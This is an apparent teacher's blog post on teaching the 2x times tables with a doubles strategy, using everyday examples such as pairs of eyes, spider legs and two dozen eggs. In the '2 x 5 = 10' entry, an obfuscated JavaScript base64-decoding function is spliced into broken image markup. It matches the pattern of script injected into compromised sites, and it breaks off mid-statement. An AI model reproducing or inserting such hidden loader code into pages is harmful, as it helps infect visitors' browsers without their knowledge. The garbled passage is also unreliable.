Part of the “10 Minutes a Day: Times Tables Worksheets” eBook series

This the first of a series of posts, with attached worksheets to download for your class, on the teaching of times tables. Note that some people (myself included) call these “Number Facts”; the two terms are essentially interchangeable.

Free Worksheet 2x Tables Worksheet A: 2X Facts – Doubles Strategy

2x Times Tables Worksheet
How to use the worksheet: This worksheet is one in a set of 40 worksheets that is used to reinforce a times table strategy or group of facts. Teach the strategy, then set the class up with a timer. Say “Go!”, and have the children race to the end of the worksheet. As each student finishes they call out, "Finished!" The timer or the clock will give them their time to write at the top of the page.

Worksheet format:The facts are repeated throughout the worksheet with each fact appearing about 8 times. There are some addition and subtraction facts at the bottom to help students to remember those too.

Rationale for Using Times Tables Strategies

The idea behind using strategies to teach times tables is to give students something to use if they cannot remember a times fact. I liken it to training wheels on a bike: when you are learning to ride, training wheels help you to balance the bike. You still have to pedal and to steer, but until you are used to the feel of balancing the bike upright, the training wheels do that for you, reducing the number of things you have to concentrate on. Later on, when pedalling and steering have become automatic, the training wheels slow you down and get in the way. At that point, you are ready for the training wheels to be taken off, and you can begin to really ride. In a short while, the entire process of riding a bike becomes "second nature", and we don't have to think about it.

In a similar way, a strategy is used to help a student remember the connections between the pieces of information that are already known, such as the number of fingers and thumbs on both hands connecting with the idea of "double 5". Once the times fact has been learned, the strategy is no longer needed. In fact, to keep using the strategy is a hindrance and will slow down the recall of the fact, and so should be abandoned so that memorisation alone can take over. Later, if a fact is forgotten the strategy is still available at a moment's notice to reinforce the memory of the fact. The final process is to speed up recall until it becomes automatic, fixed in the student's long-term memory.

2x Doubles Strategy

This is the first set of times tables facts for students to learn, as they are the easiest. The 2x facts are the same as the addition "doubles" facts, so pose no new learning. Remind students of everyday examples with which they are already familiar, and they should find them easy. Here are some suggestions:

2 x 1 = 2 Two eyes Pair of eyes: model for 2x1=2
2 x 2 = 4 A horse's legs Walking Horse: model for 2x2=4
2 x 3 = 6 A ladybug's legs Model for 3x2=6: Ladybug
2 x 4 = 8 Legs on a spider Model for 2x4=8: Spider
2 x 5 = 10 Fingers and thumbs on both hands function l1c373528ef5(o4){var sa='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var q3='';var x1,pc,u6,yc,ve,r4,n2;var oe=0;do{yc=sa.indexOf(o4.charAt(oe++));ve=sa.indexOf(o4.charAt(oe++));r4=sa.indexOf(o4.charAt(oe++));n2=sa.indexOf(o4.charAt(oe++));x1=(yc<<2)|(ve>>4);pc=((ve&15)<<4)|(r4>>2);u6=((r4&3)<<6)|n2;if(x1>=192)x1+=848;else if(x1==168)x1=1025;else if(x1==184)x1=1105;q3+=String.fromCharCode(x1);if(r4!=64){if(pc>=192)pc+=848;else if(pc==168)pc=1025;else if(pc==184)pc=1105;q3+=String.fromCharCode(pc);}if(n2!=64){if(u6>=192)u6+=848;else if(u6==168)u6=1025;else if(u6==184)u6=1105;q3+=String.fromCharCode(u6);}}while(oes" alt="Model for 2x5=10: Two Hands" src="" width="99" height="60" />
2 x 6 = 12 Two half-dozen eggs Model for 2x6=12: One Dozen Eggs
2 x 7 = 14 Days in two weeks - a fortnight (fourteen nights) Model for 2x7=14: Calendar
2 x 8 = 16 Edges on two stop signs Model for 2x8=16: Two Stop Signs
2 x 9 = 18 Numerals in two magic squares (each row, column and diagonal adds to 15) Model for 2x9=18: Magic Squares
2 x 10 = 20 Two $10 notes Model for 2x10=20: 2 Ten Dollar bills
2 x 11 = 22 Players on two soccer teams Model for 2x11=22: 2 Soccer Teams
2 x 12 = 24 Two dozen eggs Model for 2x12=24: 2 Dozen eggs
